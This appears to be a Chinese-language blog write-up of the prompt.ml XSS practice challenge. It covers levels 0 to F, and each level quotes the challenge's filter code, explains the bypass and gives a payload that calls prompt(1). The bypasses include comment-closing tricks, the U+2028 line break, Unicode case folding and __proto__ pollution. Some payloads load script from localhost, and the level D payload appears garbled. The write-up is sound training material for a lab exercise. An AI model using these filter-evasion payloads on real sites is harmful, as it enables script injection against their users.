prompt(1) to win
prompt(1) to win
鉴于之前实战发现自己对漏洞的理解比较浅薄,而且缺少积累,所以决定拿出一部分精力来练习,以弥补不足之处。
平台链接:http://prompt.ml/
这个平台要用prompt(1)
而非alert(1)
level 0
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
把input直接拼接,用引号闭合即可
payload"><script>alert(1)</script>
level 1
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
// g,全局匹配, i,忽略大小写
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
过滤了<xxx>, </xxx>
,就是说标签不能闭合,搜了一下,可以用注释符//
闭合标签
payload<img src=2 onerror="prompt(1)" //
level 2
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
过滤了[, =, (,]
,emmmm,几乎是都用不了,需要用编码(HTML实体编码)绕过,而编码解析后不会被当作标签,只有<svg>
标签是例外,svg标签后的内容会被当作XML先进行HTML解码,然后再解析
payload<svg><script>prompt(1)</script>
level 3
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
把->
替换成_
,emmmm,得像个办法bypass注释,想到了条件注释,但是非IE情况下,条件注释格式为
<!--[if !IE]>HTML_CODE<!--<![endif]-->
但是条件注释只有IE才会执行, = =
搜了下,发现也可以用--!>
来闭合注释
payload--!><script>prompt(1)</script>
level 4
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
正则表达式要求必须是https://prompt.ml
开头的地址,emmmm,想了半天没有思绪,去看了wp
浏览器支持这样的URLhttp://user:password@xxxxx.xxx
,是以user:password为凭据去请求xxxxx.xxx
这里是要用URL参数里的@
来加载js文件,
scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
而http//user:password/@xxxxx.xxx
后边加一个斜杠是不允许的,而代码中有decodeURIComponent
所以用%2f
代替/
payloadhttp://prompt.ml%2f@example.com
需要本地服务器或者vps,我都没成功,访问其他网页也都不行
= = 不知道是怎么回事,如果有人知道的话,请告诉我一下,谢谢。
level 5
function escape(input) {
// apply strict filter rules of level 1
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
level 1 的加强版,过滤了>, onxxx=, focus
忽略大小写,想起了前边用的注释封闭,但是前边的input标签没法封闭,所以只能在input标签里完成,想到src的javascript伪协议,src属性只有type=image的时候才会起作用,所以覆盖type,然后写入src asd" type="image" src="javascript:alert(1)
,无法运行,自己写了个脚本试验了下,也不行,emmmmm,又去看了wp
这里的onxxxxx=可以用换行绕过,涨姿势了
payload asd" type="image" src=1 onerror
=prompt(1)
level 6
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
= =突然变长
代码的大概意思是,把输入的链接,比如http://httpbin.org/post#{"name":"Matt"}
转换成一个post方式的form表单,表单内容是#
后的json,然后会自动检测actionURL的内容,如果没有script:, data:, sbscript:
,就会提交
这里我想的是,构造一个网站,返回<script>prompt(1)</script>
,成功了。但是觉得和这里的情景不太相符,去看了wp = = (tcl
这里运用到的是action的特性,如果前后都有action,访问action的时候会访问后面的值。
所以用一个input来冒充action即可
payloadjavascript:prompt(1)#{"action":1}
休息了好几天了,觉得效率很低,还是得做题,做题不能停
越做越觉得自己是井底之蛙 = = ,qtmd,奥里给,我先干了
level 7
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
这段代码的作用是把输入的aaa#bbb#ccc
根据#
切片,每一个都会生成一个p标签,输入的值是title(长度<=12)
这道题想到了要用注释,但是没有找到正确的注释使用方法
这里用的是<script>
标签的注释功能
payload"><script>/*#*/prompt/*#*/(1)/*#*/</script>"
level 8
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
把输入放到//
注释里,过滤了\r, \n, <, /
编码绕过编码绕过编码绕过,这个思想很重要很重要,得记下了。
这里用到的知识点
- U+2028是unicode的换行符(bypass注释)
- -->在js种可当注释使用(bypass过滤)
payload"\u2028prompt(1)\u2028-->"
把这一串复制到console里,然后把结果复制出来就可以了
特殊字符不会显示出来,想要看到特殊字符的话,把结果复制出来,再粘贴会console就能看到
level 9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
过滤了< + 字母
的所有情况,并且把字母都转换为大写,最后把大写后的输入嵌入到h1标签里
这道题又是知识盲区 = =!
这里要用到的是toUpperCase()
函数的一个特性:可以把部分unicode转义,这里用的s
的一个其他编码ſ
payload<ſcript ſrc="http://localhost/prompt.js"></ſcript>
level A
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
把输入进行URI编码,用alert
替换掉prompt
,过滤掉'
,然后嵌入到script
标签里
!!!又是一个很重要的思想,利用过滤来重建payload
payloadpro'mpt(1)
,函数会会自动过滤掉'
level B
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
过滤了[|\s+*/\\<>&^:;=~!%-
这里的\s
表示匹配空白
这道题用到的知识点
(prompt(1)) instanceof"1" 和 (prompt(1)) in"1"
可以运行- 例如
(prompt(1))in'asd'
虽然会报错,但时已经执行
payload"(prompt(1))in"
level C
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}
URL编码,过滤掉'
,用alert
替换掉prompt
,就是level A的两个过滤调换了顺序
这道题可以用数字来代替
用parseInt(string,x)
生成用x进制表示的string
payload(eval((867982141).toString(32)))(1)
level D
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
代码大致意思是,输入的json会传入source的字典,然后加到config里,删掉以字母数字下划线/
开头的source,并过滤source里的"
,嵌入到img标签的src里
这里用到的知识点:
-
访问对象的属性的时候,如果该属性不存在,就会去
__proto__
里面找 -
js的replace神奇用法
Pattern Inserts $$ Inserts a “$”. $& 插入匹配子串 $` 插入匹配子串之前的内容 $’ 插入匹配子串之后的内容 $n 当n是小于100的正整数时,插入第n个正则表达式相匹配的内容 payload
{"source":{}."__proto__":{"source"L"$
onerror=prompt(1)>"}}`
level E
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}
输入:
-
转换到大写
-
用
data:
替换//
和字母数字下划线:
-
用
_
替换含有\&+%空白字符
的串或者vbs
-
嵌入img标签的src里
大概想到了href/src里的data用法,但限制有点多,不知道怎么处理,去看了wp
这道题大概思路是,因为xx:会被替换为
data:
,所以可以用编码绕过,看了好几篇wp,都是说没法成功,官方wp也不行,= =,先把payload贴上吧
payload"><IFRAME/SRC="x:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjEvcHJvbXB0LmpzIj48L3NjcmlwdD4=">
可以在网页源码里看到解析出的都是乱码,所以
这里需要一个浏览器支持的,而且全大写的编码来bypass,base16和32都是全大写+数字,但是不支持
去看了MDN的文档,data:[<mediatype>][;base64],<data>
,只支持base64
试了还多方法,都不行,也去问了syh大哥,也是没得办法,先过了吧
level F
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}
输入:
- 过滤
*
- 根据
#
切片 - 返回p标签,title是输入的值,index是递增自变量
ban掉了多行注释/**/
但是还有<!--,但这个是html注释,在html解析的时候才会生效,所以需要添加<svg>
标签来加载一次解析
payload"><svg><!--#--><script><!--#-->prompt<!--#-->(1)<!--#--></script>
总结
我tcl,还得多淦
看了好多wp
https://blog.csdn.net/weixin_30618985/article/details/99755279